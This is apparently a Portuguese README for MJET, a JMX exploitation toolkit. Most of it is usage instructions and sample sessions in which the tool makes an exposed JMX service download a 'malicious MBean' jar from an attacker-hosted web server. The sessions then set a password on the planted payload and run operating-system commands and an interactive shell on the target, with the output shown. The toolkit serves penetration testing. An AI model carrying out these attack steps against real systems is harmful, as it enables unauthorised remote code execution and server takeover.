MJET por MOGWAI LABS

MOGWAI LABS Kit de Exploração JMX (JMX Exploitation Toolkit)

MJET é um fork do sjet, que foi desenvolvido pela siberas, mas não é mais mantido ativamente. O MJET é mantido pela equipe MOGWAI LABS, que também forneceu a maior parte do código original do sjet.

O MJET permite explorar facilmente serviços JMX configurados de forma insegura. Informações adicionais de contexto podem ser encontradas aqui e aqui.

!!! Importante: Este projeto não é mais mantido

Este repositório não é mais mantido ativamente. Recomendamos usar o qtcs beanshooter em seu lugar.

Pré-requisitos

Jython 2.7
Ysoserial (para explorar vulnerabilidades de desserialização via JMX)
opendmk_jmxremote_optional_jar-1.0-b01-ea.jar (para suportar o Protocolo de Mensagem JMX alternativo (JMXMP))

Uso

O MJET implementa uma interface de linha de comando (usando argparse):

jython mjet.py targetHost targetPort MODE password (modeOptions)

Onde

targetHost - o endereço IP do alvo
targetPort - a porta do alvo onde o JMX está em execução
MODE - o modo do script
modeOptions - as opções para o modo selecionado

Suporte a autenticação (se a autenticação JMX estiver habilitada):

--jmxrole - o nome de usuário
--jmxpassword - a senha

Outros argumentos opcionais:

--jmxmp - Usa JMX-MP (requer carregar um JAR adicional)
--localhost_bypass - porta de serviço para o proxy no bypass de localhost
--shell - Usa o shell definido
--rmiObjectName - nome RMI do endpoint JMX

Modos e opções de modo

install - instala o payload no alvo atual
- password - a senha que deve ser definida após a instalação bem-sucedida
- payload_url - URL completa para carregar o payload
- payload_port - porta para carregar o payload
uninstall - desinstala o payload do alvo atual
changepw - altera a senha em um payload já implantado
- password - a senha para acessar o MBean instalado
- newpass - a nova senha
command - executa o comando CMD no targetHost
- password - a senha para acessar o MBean instalado
- CMD - o comando a ser executado
shell - inicia um shell simples no targetHost (com as limitações do Runtime.exec() do java)
- password - a senha para acessar o MBean instalado
javascript - executa um arquivo javascript FILENAME no targetHost
- password - a senha para acessar o MBean instalado
- FILENAME - o javascript a ser executado
deserialize - envia um payload ysoserial para o alvo
- gadget - gadget conforme fornecido pelo ysoserial, ex.: CommonsCollections6
- cmd - comando a ser executado
webserver - apenas executa o servidor web MLET
- payload_url - URL completa para carregar o payload
- payload_port - porta para carregar o payload

Exemplos

Instalando o payload MBean em um serviço JMX vulnerável

No exemplo a seguir, o serviço JMX vulnerável roda em 10.165.188.23 porta 2222, o atacante tem o endereço IP 10.165.188.1. O serviço JMX se conectará ao serviço web do atacante para baixar o arquivo jar do payload. O MJET iniciará o serviço web necessário na porta 8000.

Após a instalação bem-sucedida do MBean, a senha padrão é alterada para a senha fornecida na linha de comando ("super_secret").

h0ng10@rocksteady ~/w/mjet> java -jar jython-standalone-2.7.0.jar mjet.py 10.165.188.23 2222 install super_secret http://10.165.188.1:8000 8000

MJET - MOGWAI LABS JMX Exploitation Toolkit
===========================================
[+] Starting webserver at port 8000
[+] Connecting to: service:jmx:rmi:///jndi/rmi://10.165.188.23:2222/jmxrmi
[+] Connected: rmi://10.165.188.1  1
[+] Loaded javax.management.loading.MLet
[+] Loading malicious MBean from http://10.165.188.1:8000
[+] Invoking: javax.management.loading.MLet.getMBeansFromURL
10.165.188.23 - - [26/Apr/2019 21:50:37] "GET / HTTP/1.1" 200 -
[+] Successfully loaded MBeanMogwaiLabs:name=payload,id=1
[+] Changing default password...
[+] Loaded de.mogwailabs.MogwaiLabsMJET.MogwaiLabsPayload
[+] Successfully changed password
[+] Done
h0ng10@rocksteady ~/w/mjet>

Instalação com credenciais JMX (também precisa de uma configuração fraca do servidor):

h0ng10@rocksteady:~/mjet$ jython mjet.py 192.168.11.136 9991 install super_secret http://192.168.11.132:8000 8000 --jmxrole JMXUSER --jmxpassword JMXPASSWORD
mJET - MOGWAI LABS JMX Exploitation Toolkit
=======================================
[+] Starting webserver at port 8000
[+] Connecting to: service:jmx:rmi:///jndi/rmi://192.168.11.136:9991/jmxrmi
[+] Using credentials: JMXUSER / JMXPASSWORD
[+] Connected: rmi://192.168.11.132  1
[+] Loaded javax.management.loading.MLet
[+] Loading malicious MBean from http://192.168.11.132:8000
[+] Invoking: javax.management.loading.MLet.getMBeansFromURL
192.168.11.136 - - [22/Aug/2017 22:38:00] "GET / HTTP/1.1" 200 -
192.168.11.136 - - [22/Aug/2017 22:38:00] "GET /mogwailabs_mlet.jar HTTP/1.1" 200 -
[+] Successfully loaded MBeanMogwaiLabs:name=payload,id=1
[+] Changing default password...
[+] Loaded de.mogwailabs.mlet.MogwaiLabsPayload
[+] Successfully changed password

h0ng10@rocksteady:~/mjet$

Executando o comando 'ls -la' em um alvo Linux:

Após a instalação do payload, podemos usá-lo para executar comandos do sistema operacional no alvo.

h0ng10@rocksteady ~/w/mjet> jython mjet.py 10.165.188.23 2222 command super_secret "ls -la"

MJET - MOGWAI LABS JMX Exploitation Toolkit
===========================================
[+] Connecting to: service:jmx:rmi:///jndi/rmi://10.165.188.23:2222/jmxrmi
[+] Connected: rmi://10.165.188.1  4
[+] Loaded de.mogwailabs.MogwaiLabsMJET.MogwaiLabsPayload
[+] Executing command: ls -la
total 20
drwxr-xr-x  5 root    root    4096 Apr 26 11:12 .
drwxr-xr-x 33 root    root    4096 Apr 10 13:54 ..
lrwxrwxrwx  1 root    root      12 Aug 13  2018 conf -> /etc/tomcat8
drwxr-xr-x  2 tomcat8 tomcat8 4096 Aug 13  2018 lib
lrwxrwxrwx  1 root    root      17 Aug 13  2018 logs -> ../../log/tomcat8
drwxr-xr-x  2 root    root    4096 Apr 26 11:12 policy
drwxrwxr-x  3 tomcat8 tomcat8 4096 Apr 10 13:54 webapps
lrwxrwxrwx  1 root    root      19 Aug 13  2018 work -> ../../cache/tomcat8


[+] Done
h0ng10@rocksteady ~/w/mjet>

Executando no modo shell

Se você não quiser carregar Java para cada comando, pode usar o "modo shell" para obter um shell de comandos limitado.

h0ng10@rocksteady ~/w/mjet> jython mjet.py 10.165.188.23 2222 shell super_secret 

MJET - MOGWAI LABS JMX Exploitation Toolkit
===========================================
[+] Connecting to: service:jmx:rmi:///jndi/rmi://10.165.188.23:2222/jmxrmi
[+] Connected: rmi://10.165.188.1  5
[+] Use command 'exit_shell' to exit the shell
>>> ls -la
[+] Loaded de.mogwailabs.MogwaiLabsMJET.MogwaiLabsPayload
[+] Executing command: ls -la
total 20
drwxr-xr-x  5 root    root    4096 Apr 26 11:12 .
drwxr-xr-x 33 root    root    4096 Apr 10 13:54 ..
lrwxrwxrwx  1 root    root      12 Aug 13  2018 conf -> /etc/tomcat8
drwxr-xr-x  2 tomcat8 tomcat8 4096 Aug 13  2018 lib
lrwxrwxrwx  1 root    root      17 Aug 13  2018 logs -> ../../log/tomcat8
drwxr-xr-x  2 root    root    4096 Apr 26 11:12 policy
drwxrwxr-x  3 tomcat8 tomcat8 4096 Apr 10 13:54 webapps
lrwxrwxrwx  1 root    root      19 Aug 13  2018 work -> ../../cache/tomcat8


>>> pwd
[+] Loaded de.mogwailabs.MogwaiLabsMJET.MogwaiLabsPayload
[+] Executing command: pwd
/var/lib/tomcat8


>>> exit_shell
[+] Done
h0ng10@rocksteady ~/w/mjet>

mjet

Mais Populares